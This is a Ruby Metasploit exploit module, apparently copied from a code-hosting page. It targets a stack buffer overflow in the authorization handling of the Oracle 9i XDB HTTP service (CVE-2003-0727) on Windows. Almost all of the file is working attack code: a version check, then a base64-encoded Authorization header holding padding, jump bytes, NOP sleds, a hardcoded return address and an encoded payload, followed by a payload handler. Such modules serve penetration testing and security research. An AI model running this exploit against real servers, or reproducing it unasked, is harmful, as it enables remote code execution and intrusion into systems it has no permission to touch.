91 lines
2.4 KiB
Ruby
91 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
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'Description' => %q{
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This module exploits a stack buffer overflow in the authorization
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code of the Oracle 9i HTTP XDB service. David Litchfield,
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has illustrated multiple vulnerabilities in the Oracle
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9i XML Database (XDB), during a seminar on "Variations
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in exploit methods between Linux and Windows" presented
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at the Blackhat conference.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2003-0727'],
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['OSVDB', '2449'],
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['BID', '8375'],
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['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 18 2003'))
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register_options(
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[
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Opt::RPORT(8080)
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], self.class )
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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resp = sock.get_once
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disconnect
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if (resp =~ /9.2.0.1.0/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = rand_text_english(4, payload_badchars) + ":"
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sploit << rand_text_english(442, payload_badchars)
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sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
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sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded
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req = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"
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res = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req
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print_status("Trying target %s..." % target.name)
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sock.put(res)
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handler
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disconnect
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end
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end
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